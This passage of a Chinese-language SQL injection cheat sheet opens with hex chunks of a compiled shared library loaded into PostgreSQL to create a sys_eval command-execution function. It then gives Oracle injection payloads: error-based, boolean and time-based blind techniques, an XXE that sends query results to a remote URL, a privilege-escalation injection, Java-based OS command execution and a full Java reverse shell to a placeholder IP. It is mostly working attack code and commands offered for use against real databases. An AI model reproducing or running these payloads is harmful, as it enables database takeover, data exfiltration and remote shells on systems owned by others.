00001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex'));
insert into pg_largeobject values (9023, 1, decode('0200000002000200020002000200020002000000000002000200020002000200020002000000000002000000020001000100010001000100010001000100010001000100010001000100010001000000010001007c0100001000000000000000751a6909000002009e01000000000000f81d2000000000000800000000000000b00d000000000000001e2000000000000800000000000000700d000000000000101e2000000000000800000000000000101e200000000000d81f20000000000006000000040000000000000000000000e01f200000000000060000000c0000000000000000000000e81f20000000000006000000150000000000000000000000f01f20000000000006000000160000000000000000000000f81f200000000000060000001700000000000000000000001820200000000000070000000200000000000000000000002020200000000000070000000300000000000000000000002820200000000000070000000500000000000000000000003020200000000000070000000600000000000000000000003820200000000000070000000700000000000000000000004020200000000000070000000800000000000000000000004820200000000000070000000900000000000000000000005020200000000000070000000a00000000000000000000005820200000000000070000002200000000000000000000006020200000000000070000000b00000000000000000000006820200000000000070000000c00000000000000000000007020200000000000070000000d00000000000000000000007820200000000000070000000e00000000000000000000008020200000000000070000000f0000000000000000000000882020000000000007000000100000000000000000000000902020000000000007000000110000000000000000000000982020000000000007000000120000000000000000000000a02020000000000007000000130000000000000000000000a82020000000000007000000140000000000000000000000b02020000000000007000000170000000000000000000000b82020000000000007000000180000000000000000000000c02020000000000007000000190000000000000000000000c820200000000000070000002900000000000000000000004883ec08488b057d1420004885c07405e8c30000004883c408c30000000000000000000000000000ff3582142000ff25841420000f1f4000ff25821420006800000000e9e0ffffffff257a1420006801000000e9d0ffffffff25721420006802000000e9c0ffffffff256a1420006803000000e9b0ffffffff25621420006804000000e9a0ffffffff255a1420006805000000e990ffffffff25521420006806000000e980ffffffff254a1420006807000000e970ffffffff25421420006808000000e960ffffffff253a1420006809000000e950ffffffff2532142000680a000000e940ffffffff252a142000680b000000e930ffffffff2522142000680c000000e920ffffffff251a142000680d000000e910ffffffff2512142000680e000000e900ffffffff250a142000680f000000e9f0feffffff25021420006810000000e9e0feffffff25fa1320006811000000e9d0feffffff25f21320006812000000e9c0feffffff25ea1320006813000000e9b0feffffff25e21320006814000000e9a0feffffff25da1320006815000000e990feffffff25d21320006816000000e980feffff488d05d0132000488d3dc2132000554829f84889e54883f80e77025dc3488b05b41220004885c074f25dffe00f1f4000488d0599132000488d3d92132000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b158f1220004885d274f25d4889c6ffe20f1f4000803d5913200000752748833d7712200000554889e5740c488d3d82102000e82dffffffe868ffffff5dc6053013200001f3c30f1f4000662e0f1f84000000000048833d50102000007426488b05271220004885c0741a55488d3d3a1020004889e5ffd05de957ffffff0f1f8000000000e94bffffff488d05c4030000c355534889fb508b17c1ea028d6afc8d7d014863ffe84afeffff4863d5488d73044889c74889d1f3a4c60410005a5b5dc341544983ccff4c89e15531ed4088e8534889fbf2ae48f7d1488d7903e812feffff4889df4889c24c89e14088e84889def2ae4889df48f7d18d048d0c0000004c89e189024088e8f2ae488d420448f7d14c01e14889c74889d0f3a45b5d415cc3488d0528030000c341554154554889fd5351488b7f20e8a8fdffff4889c74889c3e86dfdffff4989c44889c7e832fdffff4c89e74189c5e8d7fcffff483b5d2074084889dfe809feffff5a5b5d415c4489e8415dc3488d05cf020000c34157415641554154555352488b7f20e852fdffff4889c7e81afdffffbf000400004889c5e84dfdffffbf010000004989c4e840fdffff488d35690200004889efc600004889c331ede869fdffff4989c54c89eabe080000004c89e7e8c6fcffff4885c0743931c04c89e74883c9fff2ae4889df48f7d14c8d71ff468d7c35004963f7e80ffdffff488d3c284963d64c89e64889c34963efe82afcffffebb24c89efe870fcffff803b007405c6442bff00584889df5b5d415c415d415e415fe953fdffff488d0500020000c341545553488b7f20e88efcffff4989c48b28e824fdffff85c07907b801000000eb677555c1ed02bf1e000000e8dafcffff83ed04488d70ff4531c94863ed4531c031ff488d042e48f7d6b921000000ba070000004821c6e8cffbff', 'hex'));
insert into pg_largeobject values (9023, 2, decode('ff4883f8ff4889c374b6498d7424044889ea4889c7e886fbffffffd3eb0eba0100000031f689c7e854fcffff31c05b5d415cc3488d0566010000c341574989ff41564155415455534883ec28488b7f20e8ebfbffff488d7c240f488d3524010000b911000000f3a44889c7e8a0fbffff488d350b0100004889c74989c4e81efcffff4885c04889c3744431f6ba020000004889c7e8c7fbffff4889dfe87ffbffff31d231f64889c54889df4189c5e8adfbffff8d7d014863ffe892fbffff4885c04989c675144889dfe8f2faffff41c6471c0131c0e9830000004889d9ba010000004863f54889c7e8c3faffff4889dfe8cbfaffff8d7c2d014863ffe84ffbffff31d24889c34139d58d04127e23418a041688c183e00fc0e9048a44040f83e10f8a4c0c0f88445301880c5348ffc2ebd548984889dfc6040300e8b1fbffff4889df4889c5e846faffff4c89f7e83efaffff4c89e7e836faffff4889e84883c4285b5d415c415d415e415fc34883ec084883c408c300000000000000000000007200726200303132333435363738394142434445460000000000000000000000010000000100000001000000010000001c0000008a0300006400000020000000400000000100000001000000011b033b680000000c000000b4f9ffff8400000019fcffffac00000021fcffffc400000051fcffffec000000b1fcffff1c010000b9fcffff3401000006fdffff6c0100000efdffff84010000d1fdffffcc010000d9fdffffe401000067feffff140200006ffeffff2c0200001400000000000000017a5200017810011b0c070890010000240000001c00000028f9ffff80010000000e10460e184a0f0b770880003f1a3b2a33242200000000140000004400000065fbffff080000000000000000000000240000005c00000055fbffff3000000000410e108602410e188303440e20670e18410e10410e08002c000000840000005dfbffff6000000000420e108c02480e188603460e208304024c0e18410e10420e0800000000000014000000b40000008dfbffff08000000000000000000000034000000cc0000007dfbffff4d00000000420e108d02420e188c03410e208604440e288305410e30790e28410e20410e18420e10450e0800140000000401000092fbffff080000000000000000000000440000001c01000082fbffffc300000000420e108f02420e188e03420e208d04420e288c05410e308606410e388307410e4002a60e38440e30410e28420e20420e18420e10420e081400000064010000fdfbffff0800000000000000000000002c0000007c010000edfbffff8e00000000420e108c02410e188603410e20830402860e18410e10420e0800000000000014000000ac0100004bfcffff0800000000000000000000004c000000c40100003bfcffff3101000000420e108f02450e188e03420e208d04420e288c05410e308606410e388307440e600315010e38410e30410e28420e20420e18420e10420e080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex'));
SELECT lo_export(9023, '/tmp/testeval.so');
-- 创建命令
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- 执行命令
select sys_eval('id');
-- 删除命令
drop function sys_eval;
select sys_eval('id');
Oracle
函数 | 释义 |
---|---|
DBMS_PIPE.RECEIVE_MESSAGE | select dbms_pipe.receive_message('o',10)from dual; 结果:1时间注入函数,两个参数,从指定管道获取消息,timeout 为 integer的可选输入参数,用来指定等待时间 |
case...when...then..else...end | select case when 1=1 then 1 else 2 end from dual 结果:1 |
wm_concat | 类似mysql中的group_concat,多行结果聚合到一起 |
replace | Select replace('abcde','a','A') from dual 结果:Abcde |
基础
-- 在mysql,mssql,postgresql中都是正确的
select 1,2;
-- 但是在Oracle中,必须要带上dual虚表
select 1,2 from dual;
获取数据库版本
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
获取操作系统版本
SELECT banner FROM v$version where banner like 'TNS%'
获取当前用户权限的所有数据库
SELECT DISTINCT owner FROM all_tables;
获取当前数据库
这里需要说明一下,由于Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同,其实在这里用这种方法去查所谓的当前数据库,但是在all_tables
里其实都没有,使用SQLMAP跑出来的库也没有,所以当前数据库使用select user from dual
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
获取用户信息
-- 当前数据库用户
SELECT user FROM dual;
-- 所有数据库用户
SELECT username FROM all_users ORDER BY username;
-- 当前用户权限
SELECT * FROM session_privs;
-- 用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
获取当前数据库中的表名
-- 以SYSTEM 为例子
-- 所有用户的表
select distinct table_name from all_tables where owner = 'SYSTEM'
-- 当前用户的表,这里会有很多不需要的数据,其实不建议使用
select table_name from user_tables;
-- 包括系统表,需要高权限
select table_name from dba_tables where owner = 'SYSTEM';
获取当前数据库下某表的所有列名
select column_name from all_tab_columns where table_name ='USERS_KVHXKJ'
查询值
select USERNAME_ETSGGX,PASSWORD_OEDQBQ from USERS_KVHXKJ
子查询,分页实现limit
-- 这里以获取当前用户权限所拥有的数据库
-- 以下是实现limit 1,1
select owner from (select t.owner,rownum as no from (select distinct owner from all_tables)t) where no = 1
-- 实现多个 使用between and
select owner from (select t.owner,rownum as no from (select distinct owner from all_tables)t) where no between 1 and 10
注入
报错注入
ctxsys.drithsx.sn()
select ctxsys.drithsx.sn(1,(select user from dual))
select ctxsys.drithsx.sn(1,(select table_name from (select t.* ,rownum as no from (select * from user_tables)t) where no between 2 and 2)) from dual; -- 一次只能显示一行,所以只能一条一条看
and ctxsys.drithsx.sn(1,(select user from dual)) = 1
XMLType()
select upper(xmltype(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual;
-- web paylaod
and (select upper(xmltype(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
dbms_xdb_version.checkin()
select dbms_xdb_version.checkin((select user from dual)) from dual
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is null
dbms_xdb_version.makeversioned()
select dbms_xdb_version.makeversioned((select user from dual)) from dual
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()
select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual
and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()
SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual
and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null
ordsys.ord_dicom.getmappingxpath()
select ordsys.ord_dicom.getmappingxpath((select banner from v$version where banner like 'Oracle%'),1,1) from dual
and (select ordsys.ord_dicom.getmappingxpath((select banner from v$version where banner like 'Oracle%'),1,1) from dual) is null
utl_inaddr.*()
-- 如果查询失败,则提示系统错误
select utl_inaddr.get_host_address((select user from dual)) from dual;
select utl_inaddr.get_host_name((select user from dual)) from dual;
bool盲注
-- 查询语句
select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no = 1;
select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no between 1 and 1;
and (select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no = 1) = 11
时间盲注
decode(a,b,c,d)
:当a=b 返回c,否则返回d,类似mysql中的ifcase...when...then...else...end
DBMS_PIPE.RECEIVE_MESSAGE
Oracle主要是使用DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)
函数,该函数从指定管道获取消息
- pipename为varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
- timeout为integer的可选输入参数,用来指定等待时间。
select dbms_pipe.receive_message('aa', 5) from dual;
and decode(ascii(substr((select user from dual),1,1)),83,dbms_pipe.receive_message('aa', 5),1) is null -- - 延时5秒以上,说明第一位是 S
and (case when (ascii(substr((select user from dual),1,1))=83) then dbms_pipe.receive_message('aa', 5) else 1 end) = 1 -- -
其他cve
Oracle XXE
实际上是CVE-2014-6577
,受影响的版本:11.2.0.3
,11.2.0.4
,12.1.0.1
和12.1.0.2
Oracle XXE 的效果和 UTL_http
的效果差不多,都是将数据传输到远端服务器上。但是,由于 extractvalue()
函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http 权限时,这个不失为一个好方法
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "you own url/?'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual;
Oracle 提权漏洞
原理是 GET_DOMAIN_INDEX_TABLES
函数的参数存在注入。而该函数的所有者是 sys,所以通过注入就可以执行任意 sql 语句。而该函数的执行权限为 public,所以只要遇到一个 Oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
'1',
'1',
'DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''your own payload'''';END;'';END;--',
'SYS',
0,
'1',
0
) from dual;
权限提升之后就可以做很多事了,因为 Oracle 可以执行 JAVA 代码,所以在提升权限后具体怎么操作,就看各自的 JAVA 水平了。
这里给出几种常见的利用方式(以下均为 your own payload
处的代码):
命令执行
1、创建JAVA代码
create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}
2、赋予代码执行权限
begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;
3、创建函数
create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String'''''''';
4、赋予函数执行权限
grant all on cmd to public
5、执行命令
select sys.cmd('whoami') from dual;
反弹shell
1、创建java代码
create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("your own ip", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}
2、赋予代码执行权限
begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;
3、创建函数
create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String'''''''';
4、赋予函数执行权限
grant all on reversetcp to public
5、执行命令
select sys.reversetcp from dual;
Access
老古董
and (select count(*) from msysobjects)>0 判断是否为access
数据全靠猜